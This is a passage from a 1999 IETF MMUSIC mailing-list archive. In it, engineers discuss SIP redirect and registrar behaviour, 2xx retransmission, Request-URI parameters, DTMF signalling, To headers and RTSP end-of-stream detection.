<A HREF="mailto:vpatel@dynamicsoft.com">mailto:vpatel@dynamicsoft.com</A>

Office:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + 1 732.741.7244
FAX:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + 1 732.741.4778
www:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <A HREF="http://www.dynamicsoft.com">http://www.dynamicsoft.com</A></pre>
&nbsp;</html>

--------------EDB46493B090464D71126B06--


From confctrl-owner  Wed Jul  7 15:00:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA28143
	for confctrl-outgoing; Wed, 7 Jul 1999 15:00:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA28130
	for <confctrl@zephyr.isi.edu>; Wed, 7 Jul 1999 15:00:07 -0700 (PDT)
Received: from smtp1-alterdial.uu.net (smtp1-alterdial.uu.net [192.48.96.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA08161
	for <confctrl@ISI.EDU>; Wed, 7 Jul 1999 15:00:06 -0700 (PDT)
Received: from dynamicsoft.com by smtp1-alterdial.uu.net with ESMTP 
	(peer crosschecked as: [63.72.186.10])
	id QQgwwu28420
	for <confctrl@ISI.EDU>; Wed, 7 Jul 1999 22:00:02 GMT
Message-ID: <3783CDE0.CA2B946A@dynamicsoft.com>
Date: Wed, 07 Jul 1999 18:00:00 -0400
From: Vipul Patel <vpatel@dynamicsoft.com>
X-Mailer: Mozilla 4.6 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: MMUSIC list <confctrl@ISI.EDU>
Subject: SIP question on Redirect server
Content-Type: multipart/alternative;
 boundary="------------D28F9282D081AD1859409C17"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------D28F9282D081AD1859409C17
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


I have a SIP Redirect server (it is not intended as a proxy server)
which acts as a registration server also. Should it accept any
registrations with an action of proxy?

If YES,

                (1) should it proxy any incoming requests for the
registered client to the addr in the Contact field of the registration?
OR
                (2) should it redirect any incoming requests for the
registered client to the sender with Contact header popolated with the
addr in the Contact field of the registration? OR
                (3) should it reject any incoming requests for the
registered client?

                OR

                does it not make sense to have solely a SIP Redirect
server?

Vipul

--

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
mailto:vpatel@dynamicsoft.com

Office:         + 1 732.741.7244
FAX:            + 1 732.741.4778
www:            http://www.dynamicsoft.com



--------------D28F9282D081AD1859409C17
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<br>I have a SIP Redirect server (it is not intended as a proxy server)
which acts as a registration server also. Should it accept any registrations
with an action of proxy?
<p>If YES,
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(1) should it proxy any incoming requests for the registered client to
the addr in the Contact field of the registration? OR
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(2) should it redirect any incoming requests for the registered client
to the sender with Contact header popolated with the addr in the Contact
field of the registration? OR
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(3) should it reject any incoming requests for the registered client?
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
OR
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
does it not make sense to have solely a SIP Redirect server?
<p>Vipul
<pre>--&nbsp;

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
<A HREF="mailto:vpatel@dynamicsoft.com">mailto:vpatel@dynamicsoft.com</A>

Office:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + 1 732.741.7244
FAX:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + 1 732.741.4778
www:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <A HREF="http://www.dynamicsoft.com">http://www.dynamicsoft.com</A></pre>
&nbsp;</html>

--------------D28F9282D081AD1859409C17--


From confctrl-owner  Wed Jul  7 17:29:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA05889
	for confctrl-outgoing; Wed, 7 Jul 1999 17:29:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA05884
	for <confctrl@zephyr.isi.edu>; Wed, 7 Jul 1999 17:29:47 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA29332
	for <confctrl@ISI.EDU>; Wed, 7 Jul 1999 17:29:46 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id TAA15112;
	Wed, 7 Jul 1999 19:29:14 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id TAA29757;
	Wed, 7 Jul 1999 19:29:15 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45.exu.ericsson.se [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id TAA29424; Wed, 7 Jul 1999 19:29:13 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id TAA25371;
	Wed, 7 Jul 1999 19:29:08 -0500 (CDT)
Date: Wed, 7 Jul 1999 19:29:08 -0500 (CDT)
Message-Id: <199907080029.TAA25371@b04a45.exu.ericsson.se>
To: confctrl@ISI.EDU, vpatel@dynamicsoft.com
Subject: Re: SIP question on retransmition of 2xx response
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> Let's look at following example:
> 
> Client A sends an INVITE request to Client B which goes through stateful
> proxy P. Client B sends 200 OK response with a Contact header, which
> goes to Client A through proxy P. Now Client A sends the ACK directly to
> Client B at the URL listed in the Contact header field. Since the ACK
> did not go through the proxy P, it retransmits the 200 OK response, and
> eventually timeout. Meanwhile Client A will continue to retransmit ACK
> as it receives 200 OK response from proxy P.
> 
> Does it make sense for proxy P to retransmit 2xx response in this case
> or in general?
>

No it doesn't. Client B will continue to retransmit its 200 OK response until it
receives an ACK. This re-transmission will go through the proxy P. In effect,
the reliable delivery of the 200 OK response is up to the client (UAS).
This makes P's life much easier :) 

> Vipul.
> 
> --
> 
> Vipul J. Patel
> dynamicsoft
> 200 Executive Drive
> West Orange, NJ 07052
> mailto:vpatel@dynamicsoft.com
> 
> Office:         + 1 732.741.7244
> FAX:            + 1 732.741.4778
> www:            http://www.dynamicsoft.com
> 
> 

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154


From confctrl-owner  Wed Jul  7 17:40:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA06425
	for confctrl-outgoing; Wed, 7 Jul 1999 17:40:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA06420
	for <confctrl@zephyr.isi.edu>; Wed, 7 Jul 1999 17:40:32 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA00383
	for <confctrl@ISI.EDU>; Wed, 7 Jul 1999 17:40:31 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id TAA15438;
	Wed, 7 Jul 1999 19:39:55 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id TAA00398;
	Wed, 7 Jul 1999 19:39:56 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45.exu.ericsson.se [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id TAA29693; Wed, 7 Jul 1999 19:39:54 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id TAA25389;
	Wed, 7 Jul 1999 19:39:50 -0500 (CDT)
Date: Wed, 7 Jul 1999 19:39:50 -0500 (CDT)
Message-Id: <199907080039.TAA25389@b04a45.exu.ericsson.se>
To: confctrl@ISI.EDU, vpatel@dynamicsoft.com
Subject: Re: SIP question on Redirect server
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> I have a SIP Redirect server (it is not intended as a proxy server)
> which acts as a registration server also. Should it accept any
> registrations with an action of proxy?
> 
> If YES,
> 
>                 (1) should it proxy any incoming requests for the
> registered client to the addr in the Contact field of the registration?
> OR
If this is not intended to act as a proxy server as well, then this is
inappropriate.

>                 (2) should it redirect any incoming requests for the
> registered client to the sender with Contact header popolated with the
> addr in the Contact field of the registration? OR

This seems like the most appropriate answer. 

>                 (3) should it reject any incoming requests for the
> registered client?
> 

This would make for a less than useful redirect/registration server.

>                 OR
> 
>                 does it not make sense to have solely a SIP Redirect
> server?
> 

I think it makes a great deal of sense to have solely a SIP redirect server
because of the reduced complexity. Not having to proxy requests removes a
great deal of additional logic from the redirect server. (If you further
limit the redirect server to only handle UDP you can create a dirt simple
SIP implementation... now the registrar logic is a different story).


> Vipul
> 
> --
> 
> Vipul J. Patel
> dynamicsoft
> 200 Executive Drive
> West Orange, NJ 07052
> mailto:vpatel@dynamicsoft.com
> 
> Office:         + 1 732.741.7244
> FAX:            + 1 732.741.4778
> www:            http://www.dynamicsoft.com

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Wed Jul  7 18:39:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA09021
	for confctrl-outgoing; Wed, 7 Jul 1999 18:39:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA09016
	for <confctrl@zephyr.isi.edu>; Wed, 7 Jul 1999 18:39:46 -0700 (PDT)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA06358
	for <confctrl@isi.edu>; Wed, 7 Jul 1999 18:39:45 -0700 (PDT)
Received: from cisco.com ([171.71.147.147]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id SAA20149; Wed, 7 Jul 1999 18:37:35 -0700 (PDT)
Message-ID: <3783FF7B.62CF0AB7@cisco.com>
Date: Wed, 07 Jul 1999 18:31:39 -0700
From: Anup Rao <anrao@cisco.com>
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: Chan Gyun Jeong <cgjeong@oslab.kyunghee.ac.kr>
CC: rem-conf@es.net, confctrl@ISI.EDU
Subject: Re: Some questions about RTSP
References: <002f01bec8da$a0f83780$6d81b4a3@kyunghee.ac.kr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Chan Gyun Jeong wrote:
> 
> Hello, all.
> 
> I am Chan Gyun Jeong who is a master student majoring in
> Computer Engineering, Kyung Hee University, Seoul, South Korea.
> 
> Nowadays, I am interested in Real-time Transport Protocol(RTP)
> and Real-Time Streaming Protocol(RTSP).
> I also have been developing a VOD system using RTP and
> RTSP.

First things first, this question is best addressed to the list :
confctrl@isi.edu.

> I have some problems that I can't understand. That is how  VOD server
> could notify to clients when the media file reaches end of the file?
> 
> I think that this notification makes the client change  playing state, so the
> client can report the playing state to the end user like Real Player. I really
> need this functions.

The way to do this is to have the client issue a DESCRIBE request first, to get
a (SDP) description of the clip. The SDP description has a range parameter - see
Section C.1.5. This parameter specifies the total length of the clip.

The client should keep an mapping between RTP timestamps and NPT(normal play
time). (Appendix B explains all this). 
 So, when a received RTP timestamp maps to a NPT value >=  whats asked for(or >
than the total NPT range of the clip), the end has been reached.

In case the presentation is a "live" one, SDP can specify the range in absolute
time, so the client knows when the feed is over.

Finally, in the case where it is not known beforehand how long the feed is - a
RTCP BYE seems a reasonable way of doing it. Relying on the RTSP control channel
may not always work, since it may be long gone.

-Anup Rao.

From confctrl-owner  Wed Jul  7 19:40:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA11508
	for confctrl-outgoing; Wed, 7 Jul 1999 19:40:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA11503
	for <confctrl@zephyr.isi.edu>; Wed, 7 Jul 1999 19:40:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA10280
	for <confctrl@ISI.EDU>; Wed, 7 Jul 1999 19:40:01 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Wed Jul  7 22:39:33 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.144])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id WAA08954;
	Wed, 7 Jul 1999 22:39:31 -0400 (EDT)
Message-ID: <37840F96.53D7A984@dnrc.bell-labs.com>
Date: Wed, 07 Jul 1999 22:40:22 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Sean Olson <eussean@exu.ericsson.se>
CC: confctrl@ISI.EDU, vpatel@dynamicsoft.com
Subject: Re: SIP question on Redirect server
References: <199907080039.TAA25389@b04a45.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sean Olson wrote:
> 
> >
> > I have a SIP Redirect server (it is not intended as a proxy server)
> > which acts as a registration server also. Should it accept any
> > registrations with an action of proxy?

Actually, I think the answer depends a lot on the strength of the action
parameter. If its more of a suggestion, (2) is the right answer, and if
its a requirement, (3) is the right answer. The spec doesn't say
anything about this case. I think its more of a suggestion than anything
else; local server policy should always be able to override it. The
registrar should be sure to return the value it ended up using in the
response.

On a related note, there is definitely an overlap between the action
parameter and what CPL is trying to accomplish. In effect, the action
parameter is a mini-CPL - instructing the server to perform one of the
two following CPL's:

<call>
  <lookup source="registration">
    <success>
      <proxy/>
    </success>
  </lookup>
</call>

OR

<call>
  <lookup source="registration">
    <success>
      <redirect/>
    </success>
  </lookup>
</call>

The result is a nice feature interaction problem when both a CPL and the
action parameter are used. Given that, I wonder if the action parameter
is another item for potential removal at draft, given that CPL should be
going to proposed end of this year. But, if people like it as a useful
but much-simpler-than-CPL solution, it should stay.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jul  7 20:00:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA12230
	for confctrl-outgoing; Wed, 7 Jul 1999 20:00:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA12187
	for <confctrl@zephyr.isi.edu>; Wed, 7 Jul 1999 20:00:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA11259
	for <confctrl@isi.edu>; Wed, 7 Jul 1999 20:00:01 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Wed Jul  7 22:59:31 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.144])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id WAA09312;
	Wed, 7 Jul 1999 22:59:30 -0400 (EDT)
Message-ID: <37841446.AB50AA79@dnrc.bell-labs.com>
Date: Wed, 07 Jul 1999 23:00:22 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Jacob Avraham <jacoba@mediagate.co.il>
CC: MMUSIC list <confctrl@ISI.EDU>
Subject: Re: DTMF & SIP
References: <004801bec87c$ed59fc70$7ac05ac2@mediagate>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is one of the proposed uses of the INFO method, documented in:

http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-info-method-00.txt

Whether or not its actually a good idea to carry DTMF out of band is a
good question... 

-Jonathan R.

Jacob Avraham wrote:
> 
> Is there any mechanism in SIP to transfer DTMF (not in the RTP stream)
> during the call? Or, if this is outside the scope of SIP, what companion
> protocol is used to do that?
> 
> Thanks,
> 
> Jacob Avraham
> Mediagate
> 
> ---------
> This message came from the IETF IPTEL Working Group Mailing List.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jul  7 20:18:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA12976
	for confctrl-outgoing; Wed, 7 Jul 1999 20:18:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA12971
	for <confctrl@zephyr.isi.edu>; Wed, 7 Jul 1999 20:18:16 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA12323
	for <confctrl@isi.edu>; Wed, 7 Jul 1999 20:18:13 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Wed Jul  7 23:17:25 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.144])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA09587;
	Wed, 7 Jul 1999 23:17:24 -0400 (EDT)
Message-ID: <37841877.CA5AC2A1@dnrc.bell-labs.com>
Date: Wed, 07 Jul 1999 23:18:15 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@ericsson.com>
CC: Sean Olson <eussean@exu.ericsson.se>, Gonzalo.Camarillo@ericsson.com,
        confctrl@ISI.EDU
Subject: Re: Request-URI
References: <199907030004.TAA13432@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 

> 4) p1 -> p2 (sip.tpc.int), using TCP
> INVITE sip:bob.smith@sip.tpc.int;transport=tcp
> 
> In this example, I'm going to make p2 a registar that has
> been instructed to proxy calls to Bob Smith.  Further, Bob
> has registered with p2 as "sip:bsmi4@dialup01234.isp.net;transport=udp".
> 
> 5) p2 -> uas (dialup01234.isp.net), using UDP
> INVITE sip:bsmi4@dialup01234.isp.net;transport=udp
> 

For 4) and 5), I don't believe the transport parameter is needed. The
server that the request is being sent to is the result of a lookup of
the URI in the request URI, and the transport being used was the one
that was in the URI. Thus, there is no need for indicating the
transport; the request is being sent with that transport anyway.

As a general rule, if the server that the request is being sent to is
the one corresponding to the request URI, nearly all of the parameters
are not needed - port, transport, maddr, ttl - since these are being
used for sending the request itself. If, however, the server the request
is being sent to is NOT the one in the URI, these parameters should
appear in the request URI if they were specified. This allows that
server to use the parameters to proxy the request correctly.

For example, if A has the URI sip:user@domain:5000;transport=tcp, and it
sends the request to the host determined through a lookup of "domain",
the result is:

INVITE sip:user@host SIP/2.0

sent to port 5000 using TCP.

If, however, A is configured with some local proxy:

INVITE sip:user@host:5000;transport=tcp SIP/2.0

sent to the local proxy, on whatever port/transport A has been
configured to use. The proxy, in turn, sends a request:

INVITE sip:user@host SIP/2.0

now to port 5000 of the proxy for "domain" using TCP.

Note that nothing is wrong with Adam's suggestion - you could put the
transport parameters in the first INVITE above, but it doesn't do any
real good. The proxy for "domain" will see that the request URI is for
its own domain, and perform some location function, translating the URI
to something else altogether - sip:user@host.domain.com, for example,
and then send that using UDP/TCP or whatever according to configuration
or the procedures for SRV lookup in RFC2543.



-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jul  8 04:24:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA00907
	for confctrl-outgoing; Thu, 8 Jul 1999 04:24:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA00902
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jul 1999 04:24:07 -0700 (PDT)
Received: from devonshire.cnchost.com (devonshire.concentric.net [207.155.248.12])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA04364
	for <confctrl@ISI.EDU>; Thu, 8 Jul 1999 04:24:05 -0700 (PDT)
Received: from ts017d37.cht-ma.concentric.net (ts017d37.cht-ma.concentric.net [206.173.29.97])
	by devonshire.cnchost.com
	id HAA02340; Thu, 8 Jul 1999 07:23:54 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.7]
Date: Thu, 8 Jul 1999 07:25:45 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: Jacob Avraham <jacoba@mediagate.co.il>
cc: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        MMUSIC list <confctrl@ISI.EDU>
Subject: Re: DTMF & SIP
In-Reply-To: <37841446.AB50AA79@dnrc.bell-labs.com>
Message-ID: <Pine.LNX.4.10.9907080720080.5623-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There seem to be at least two different ways to encode DTMF information
now -- by an MGCP notification, or by an RTP payload. I personally would
have no problem encoding the RTP payload within MIME (of type 
audio/rtp ?) to be put within a SIP payload, but what would the purpose
really be? 

If you take the real-time info out of the DTMF, then you are left with a
string of digits. What is the purpose of transporting such a string of
digits within SIP?

Scott


On Wed, 7 Jul 1999, Jonathan Rosenberg wrote:

> This is one of the proposed uses of the INFO method, documented in:
> 
> http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-info-method-00.txt
> 
> Whether or not its actually a good idea to carry DTMF out of band is a
> good question... 
> 
> -Jonathan R.
> 
> Jacob Avraham wrote:
> > 
> > Is there any mechanism in SIP to transfer DTMF (not in the RTP stream)
> > during the call? Or, if this is outside the scope of SIP, what companion
> > protocol is used to do that?
> > 
> > Thanks,
> > 
> > Jacob Avraham
> > Mediagate
> > 
> > ---------
> > This message came from the IETF IPTEL Working Group Mailing List.
> 
> -- 
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen
> 


From confctrl-owner  Thu Jul  8 09:37:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA13287
	for confctrl-outgoing; Thu, 8 Jul 1999 09:37:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA13282
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jul 1999 09:37:05 -0700 (PDT)
Received: from bounty.cisco.com (bounty.cisco.com [161.44.2.72])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA21276
	for <confctrl@isi.edu>; Thu, 8 Jul 1999 09:37:03 -0700 (PDT)
Received: from cisco.com (bounty.cisco.com [161.44.2.72])
	by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id MAA13531;
	Thu, 8 Jul 1999 12:36:31 -0400 (EDT)
Message-ID: <3784D38F.EE1D4A9E@cisco.com>
Date: Thu, 08 Jul 1999 12:36:31 -0400
From: Shail Bhatnagar <shbhatna@cisco.com>
Organization: CISCO
X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
Subject: To header for a proxied call
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

If a gateway is generating an INVITE message ( it is configured to send
all INVITEs to a proxy), what should be the value of To header ??
The request-URI looks like this  ( it is calling the number 9195551212
and proxy's IP address is 1.2.3.4)

INVITE sip:9195551212@1.2.3.4 SIP/2.0

-- 
Best regards,
Shail

From confctrl-owner  Thu Jul  8 11:22:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA19547
	for confctrl-outgoing; Thu, 8 Jul 1999 11:22:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA19542
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jul 1999 11:22:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA03380
	for <confctrl@isi.edu>; Thu, 8 Jul 1999 11:22:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Jul  8 14:21:32 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id OAA05393;
	Thu, 8 Jul 1999 14:21:33 -0400 (EDT)
Message-ID: <3784EC2B.973C5EB0@dnrc.bell-labs.com>
Date: Thu, 08 Jul 1999 14:21:31 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Shail Bhatnagar <shbhatna@cisco.com>
CC: mmusic <confctrl@ISI.EDU>
Subject: Re: To header for a proxied call
References: <3784D38F.EE1D4A9E@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I believe the To field should probably be a phone URL:

INVITE sip:9195551212@1.2.3.4 SIP/2.0
To: tel:9195551212

In fact, its arguable whether the request URI should also be a phone
URL:

INVITE tel:9195551212 SIP/2.0
To: tel:9195551212

The tel URL basically would mean "I want to call this number, but I
don't know or care what host to reach it from", and the sip URL "I want
